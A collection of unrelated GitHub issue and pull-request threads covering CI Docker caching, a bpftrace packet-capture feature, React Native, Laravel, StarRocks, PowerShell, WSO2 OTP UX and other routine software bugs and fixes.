we don't have to rewrite these commands for each Dockerfile.*
the dependencies will be installed only when we run the storage integration tests.
fix kokoro/macos/bazel CI
save some quota/resources

I will move the unit tests of the emulator to storage/ci/run_integration_tests_emulator_[bazel/cmake].sh so we don't have to run the unit tests without running the emulator ( which irritates me )

Yes, but most builds use cached versions of the docker images and refresh/rebuild the image starting from that cache.

I am a little bit confused: the dependencies from pip are cached with the Dockerfile.* or they will be reinstalled in every kokoro run ?

Yes, but most builds use cached versions of the docker images and refresh/rebuild the image starting from that cache.

I am a little bit confused: the dependencies from pip are cached with the Dockerfile.* or they will be reinstalled in every kokoro run ?

Yes 😁
The builds first download a (cached) docker image created from the  Dockerfile.* used in that build, let say Dockerfile.fedora-install for this example.  Then they run docker build -f Dockerfile.fedora-install, but use the downloaded image as a cache source.
If nothing has changed in Dockerfile.fedora-install then the cache satisfies the image and: (a) the docker build step is very fast (as it uses the cached image), and (b) the source of the docker image cache is more reliable than downloading N dependencies from M sources (in practice).
If there are changes in Dockerfile.fedora-install then some of the steps may still use the cache (which is nice), and the changes are validated as part of the PR (which is important).
The cached docker images are updated as part of the full builds post-PR, which are not required to be fast (though it is nice if they are).

After a lot of trials, I think tags=["manual"] works best with our needs. Because:

Without the tag, these tests will run in all CI builds which use bazel ( it isn't what we want because these tests does not belong to the unit tests of the library ).
We can control when we run the tests, on which platform.

Can we use :all and maybe pass --test_tag_filters=manual?

It does not work, we have to write all the target manually.
Even after #5498 is closed, we should continue using this tag since it allows us to run the tests only when we need

Thanks again for this PR.


RFC: skboutput function

The skboutput idea was originally raised by @olsajiri in #1272
Due to https://github.com/iovisor/bpftrace/pull/1272#issuecomment-1129282916, I rebased the code, improved a little bit. If we set BPFTRACE_PERF_RB_PAGES large enough, we now can capture as many packets as tcpdump does.
IMHO this may become increasingly useful as more tracepoints being added to the kernel, and the pcap file is much easier to dig into than any other method.
Please leave your comments below.
Checklist

[WIP] Language changes are updated in man/adoc/bpftrace.adoc and if needed in docs/reference_guide.md
[WIP] User-visible and non-trivial changes updated in CHANGELOG.md
[WIP] The new behaviour is covered by tests

@xh4n3 please merge your changes from your last patch into previous patches as appropriate,
so we have clean changes without additional fixes

@xh4n3 please merge your changes from your last patch into previous patches as appropriate, so we have clean changes without additional fixes

Thanks! I've rebased the commits.

Thanks for picking this up, it would be a great feature to have.
Would it be possible for you to add tests for this feature too?

Hi @fbs , I've updated the doc and added the tests. Would you please have another look? Thanks


Android: exclude ReactNativeFlipper.java from release build

Summary
Exclude ReactNativeFlipper.java from build files in release build.
I faced a lot of errors like com.facebook.flipper.*** does not exist during ./gradlew assembleRelease (see a screenshot below) and it prevents creating release apk file. I think this is because we build java sources of Flipper as debugImplementation.

Changelog

[Android] [Changed] - exclude ReactNativeFlipper.java from release build
Test Plan
./assembleRelease works.

I think #28052 might effect this modification of template file.

Hi @acro5piano ReactNativeFlipper should be in your debug config. https://github.com/facebook/react-native/tree/master/template/android/app/src/debug/java/com/helloworld
Notice the directory template/android/app/src/debug/..., this already prevents ReactNativeFlipper from showing up in your release build!
Could you demonstrate this happens with a fresh template, if it exists there it is an issue with the project.

@safaiyeh
Thank you for your response.
Ah okay, I'll check it later!

Sorry for the delay, but I confirmed my project and move ReactNativeFlipper.java from app/src/main to app/src/debug and the problem fixed.
I migrated from 0.59 to 0.62, and misplaced it. Thank you for the help.


paginator ignores last page!

Q
A

Bug?
yes

New Feature?
no

Framework
Laravel

Framework version
5.x.y

Package version
1.x.y

PHP version
7.x.y

Actual Behaviour
$paginator = $this->model->with('tabs');

if (request()->has('sort') && request()->sort !== null) {
    list($sortCol, $sortDir) = explode('|', request()->sort);
    $paginator = $paginator->orderBy($sortCol, $sortDir);
} else {
    $paginator = $paginator->orderBy('id', 'desc');
}

if ($request->exists('filter')) {
    $paginator->where(function($q) use($request) {
        $value = "%{$request->filter}%";
        $q->where('name', 'like', $value);
    });
}

$paginator = $paginator->paginate(config('app.pagination_limit'));

return $this->response->paginator($paginator, new WeekTransformer());

pagination: {total: 44, per_page: 20, current_page: 1, last_page: 2, from: 1, to: 20}
current_page: 1
from: 1
last_page: 2
per_page: 20
to: 20
total: 44

Expected Behaviour
there should be 3 pages => 20 - 20 - 4 but it's two :-(
Possible to help me manage this?
Regards

Hello @ramyareye
Version 1 of dingo is quite old and unsupported, and you did not specify your laravel version. You will need to at least update Dingo to the latest version, and then make sure laravel is at least 5.5+ as we do not support any earlier version.
Thanks


Wrong query result after add column with default value

Steps to reproduce the behavior (Required)

Deploy shared-data cluster
create table

CREATE TABLE `t` (
  `k` int(11) NOT NULL COMMENT "",
  `v` int(11) NOT NULL COMMENT ""
)engine=olap
DUPLICATE KEY(`k`)
PARTITION BY RANGE(`v`)
(PARTITION p1 VALUES [("-2147483648"), ("0")),
PARTITION p2 VALUES [("0"), ("10")),
PARTITION p3 VALUES [("10"), ("2147483647")))
DISTRIBUTED BY HASH(`k`) BUCKETS 1
PROPERTIES (
"replication_num" = "1"
);

insert some records

insert into t values (1,1);

alter table

ALTER TABLE t ADD COLUMN s VARCHAR(20) DEFAULT 'test';

query table

select * from t;

Expected behavior (Required)
+------+------+------+
| k    | v    | s    |
+------+------+------+
|    1 |    1 | test |
+------+------+------+

Real behavior (Required)
+------+------+------+
| k    | v    | s    |
+------+------+------+
|    1 |    1 | @�l) |
+------+------+------+

StarRocks version (Required)

branch-3.1.0-rc01

The datum_from_string function does a shallow copy of the value variable into the default_value_daum variable. But here, value is a reference to a temporary variable returned by the TabetColumn::default_value() function. So later when default_value_datum is accessed, the value variable has already been destructed.
https://github.com/StarRocks/starrocks/blob/66758446c8e4896d9abc577744d5bca9837c3395/be/src/storage/schema_change_utils.cpp#L757


Issue with watch or ng-change while inside a template.

I am using daterangepicker inside a template in order to create a date filter. The thing is even thought the input values change My warcher does not fire up. It is as if my model exists on some other separate scope.
I tried ng-daterangepicker-plus and it does not seem to have this issue.

Have the same issue. :+1:

+1

Add a pr https://github.com/fragaria/angular-daterangepicker/pull/194, to fix this bug.


feat: Smart contracts page hints

Description
fixes #182
fixes #163
Demo
https://github.com/aeternity/aescan/assets/15363559/1559626b-3c2f-45f6-86b3-ca38875d2a78
Checklist:

[x] I have read and followed the Contributing Guide
[x] add smart contract index links

@thepiwo @marc0olo ping

Descriptions looks correct but didn't we say to use present tense?

You are right, one of them I fixed. But the other ones make sense only in past tense. It was on time event that happened in past. I am open to suggestions.

@marc0olo All fixed. Could you check here, please?


Improving SMS OTP Flow User Experience in WSO2 IS

Describe the issue:
In the SMS OTP flow, users encounter confusion with the "Resend Code" button, particularly when they do not receive the OTP due to network issues or phone number changes. The current process can be lengthy and may not be intuitive.
How to reproduce:
Log in to the application and choose SMS OTP or get redirected to the SMS OTP page based on the application's MFA methods.
If the SMS OTP is not received, enter a random code.
Observe the "Resend Code" button appears with the error message: “Authentication Failed! Please Retry.”
Click the "Resend Code" button.
Notice that the code is not sent again.
Enter a random code again and click "Authenticate."
Authentication fails.
Finally, the code arrives via SMS.
Enter the received code and click "Authenticate" to succeed.
Expected behavior:
The "Resend Code" button should appear immediately on the SMS OTP page without requiring the user to enter a random code first. However, the button should be disabled for a specific time interval  before becoming active(clickable). This change aims to enhance user experience by making the flow more intuitive and reducing the likelihood of authentication failures.
Environment information

Product Version: WSO2IS 6.1

Closing this issue, because this issue is already addressed in master branch with a better UX.


Missing some cmdlets from WindowsPS modules that are PS-Core-compatible

One example is Microsoft.PowerShell.Management module on Server 2019.
It's manifest C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Management\Microsoft.PowerShell.Management.psd1 says that the module is PS-Core-compatible:
ModuleVersion="<IP_ADDRESS>"
CompatiblePSEditions = @('Desktop','Core')
CmdletsToExport=@("Add-Content",
    "Get-EventLog",
    "Clear-EventLog",
...
    "Get-WmiObject",

Some of these cmdlets (e.g. *-EventLog, *-WmiObject) do not exist in Microsoft.PowerShell.Management module that comes with PS Core:
ModuleVersion="<IP_ADDRESS>"
CompatiblePSEditions = @("Core")

When System32-version of the module imported directly, these cmdlets are missing.
Steps to reproduce
# start a clean PS Core instance
Import-Module C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Management
Get-EventLog

Expected behavior
Cmdlet is executed successfully.
Actual behavior
Get-EventLog
Get-EventLog: The term 'Get-EventLog' is not recognized as the name of a cmdlet, function, script file, or operable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
PS C:\> (Get-Module Microsoft.PowerShell.Management).ExportedCmdlets.Keys.Contains('Get-EventLog')
False
# other cmdlets from the same imported module point to DLL from PS-Core installation
PS C:\> (Get-Command Get-HotFix).DLL
C:\1\PowerShell-7.0.0-preview.5-win-x64\Microsoft.PowerShell.Commands.Management.dll

Environment data
Name                           Value
----                           -----
PSVersion                      7.0.0-preview.5
PSEdition                      Core
GitCommitId                    7.0.0-preview.5
OS                             Microsoft Windows 10.0.17763
Platform                       Win32NT
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0…}
PSRemotingProtocolVersion      2.3
SerializationVersion           <IP_ADDRESS>
WSManStackVersion              3.0

EventLog cmdlets are deprecated in favor of the WinEvent cmdlets.  Wmi cmdlets are deprecated in favor of the CIM cmdlets.

What about Get-HotFix?  That's missing too.

@FremontStrom it was added back in preview.5, see https://devblogs.microsoft.com/powershell/powershell-7-preview-5/


synapse initial commit

Docs Build status updates of commit 38e8bd4:
:warning: Validation status: warnings

File
Status
Preview URL
Details

support/azure/synapse/dedicated-sql/dsql-tshoot-perf-slow-query.md
:warning:Warning

Details

support/azure/synapse/toc.yml
:white_check_mark:Succeeded

support/azure/synapse/welcome-azure-synapse.yml
:white_check_mark:Succeeded

support/azure/synapse/dedicated-sql/dsql-tshoot-perf-slow-query.md

Line 1, Column 1: [Warning: title-missing - See documentation] Missing required attribute: 'title'. Add a title string to show in search engine results.
Line 1, Column 1: [Warning: ms-prod-or-service-missing - See documentation] One of the following attributes is required: 'ms.prod', 'ms.service'. Use ms.prod for on-premise products, or ms.service for cloud services.
Line 1, Column 1: [Suggestion: description-missing - See documentation] Missing required attribute: 'description'.
Line 19, Column 126: [Suggestion: preserve-view-not-set - See documentation] You've pinned this link to a specific version of content with the view parameter. It's recommended not to pin a version unless that version is A) not the default view and B) the context is about that version specifically. To proceed with pinning a version add the &preserve-view=true to the URL.  Otherwise, remove the view parameter. URL: /sql/azure-data-studio/download-azure-data-studio?view=sql-server-ver16
Line 307, Column 442: [Suggestion: preserve-view-not-set - See documentation] You've pinned this link to a specific version of content with the view parameter. It's recommended not to pin a version unless that version is A) not the default view and B) the context is about that version specifically. To proceed with pinning a version add the &preserve-view=true to the URL.  Otherwise, remove the view parameter. URL: /sql/t-sql/language-elements/kill-transact-sql?view=sql-server-ver16
Line 339, Column 262: [Suggestion: preserve-view-not-set - See documentation] You've pinned this link to a specific version of content with the view parameter. It's recommended not to pin a version unless that version is A) not the default view and B) the context is about that version specifically. To proceed with pinning a version add the &preserve-view=true to the URL.  Otherwise, remove the view parameter. URL: /sql/t-sql/database-console-commands/dbcc-shrinkdatabase-transact-sql?view=sql-server-ver15
Line 486, Column 373: [Suggestion: preserve-view-not-set - See documentation] You've pinned this link to a specific version of content with the view parameter. It's recommended not to pin a version unless that version is A) not the default view and B) the context is about that version specifically. To proceed with pinning a version add the &preserve-view=true to the URL.  Otherwise, remove the view parameter. URL: /sql/relational-databases/system-catalog-views/sys-query-store-wait-stats-transact-sql?view=sql-server-ver16#wait-categories-mapping-table
Line 489, Column 28: [Suggestion: preserve-view-not-set - See documentation] You've pinned this link to a specific version of content with the view parameter. It's recommended not to pin a version unless that version is A) not the default view and B) the context is about that version specifically. To proceed with pinning a version add the &preserve-view=true to the URL.  Otherwise, remove the view parameter. URL: /sql/relational-databases/system-catalog-views/sys-query-store-wait-stats-transact-sql?view=sql-server-ver16#wait-categories-mapping-table
Line 518, Column 114: [Suggestion: preserve-view-not-set - See documentation] You've pinned this link to a specific version of content with the view parameter. It's recommended not to pin a version unless that version is A) not the default view and B) the context is about that version specifically. To proceed with pinning a version add the &preserve-view=true to the URL.  Otherwise, remove the view parameter. URL: /sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver16

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Docs Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

@scott-epperly Hi Scott, thanks for adding the first Snapse article to our troubleshoot repo! I will close this PR and open a new one in our private repo . I will send it to you for tech review once it's ready. Next time, you can directly create PRs to add new articles or update existing content in the private repo.


Change FloatingPanelLayoutAdapter.safeAreaInsets as a read-only property

Fix #154

I've updated the commit message.


form error show on $submitted

Does the $submitted boolean for show work? I can't get it to, and have to use CSS to hide the form error until the form gets the f-form-submitted class is set.  Here's what I'm trying to do (in pug markup):
form-errors(field="username" show="$invalid && $submitted")
  pre(slot="required") Username required

The $invalid boolean works properly.

$submitted is now supported in show in latest release. I decided to change the API a bit, meaning form-errors has been replaced by field-messages, with the field prop replaced by name.


Improve on the Serpant Madness

UI can be imrpoved
Snake should not be able to reverse the direction
Can be merged with snake game

can try to do this, i am pretty new in python pygame module

Sure, if someone else wants to work on this issue, they can also do so, I will merge all the work together.

would like to work on this issue.
Does this issue fall under hacktoberfest?

Yep this to has got hacktoberfest label

i have made the changes in snake madness now it cant go reverse

please assign it to me


Ops using RealTypes don't work well within napari-imagej

Running these Ops (and the commands wrapping them?) don't work very well. This is partially due to what I describe in imagej/imagej-ops#649, but it also is partially because napari-imagej's support for RealTypes could be improved.
Specifically, if I run the huMoment3 op, I have trouble getting the OpSearchResult to run the Op, and spoiler, once I get it to run the Op, the output won't display.

Okay, the good news is that with imagej/imagej-common#103 we don't need any further Ops PRs to fix this!


Single metadata for many external SAML IDPs

Passport currently creates different metadata for every single Remote IDP. Having to provide different metadata to each external IDP adds operational complexity. We might be able to further reduce complexity by supporting one metadata for many remote IDPs. It's something to consider and evaluate.

Implemented, closing.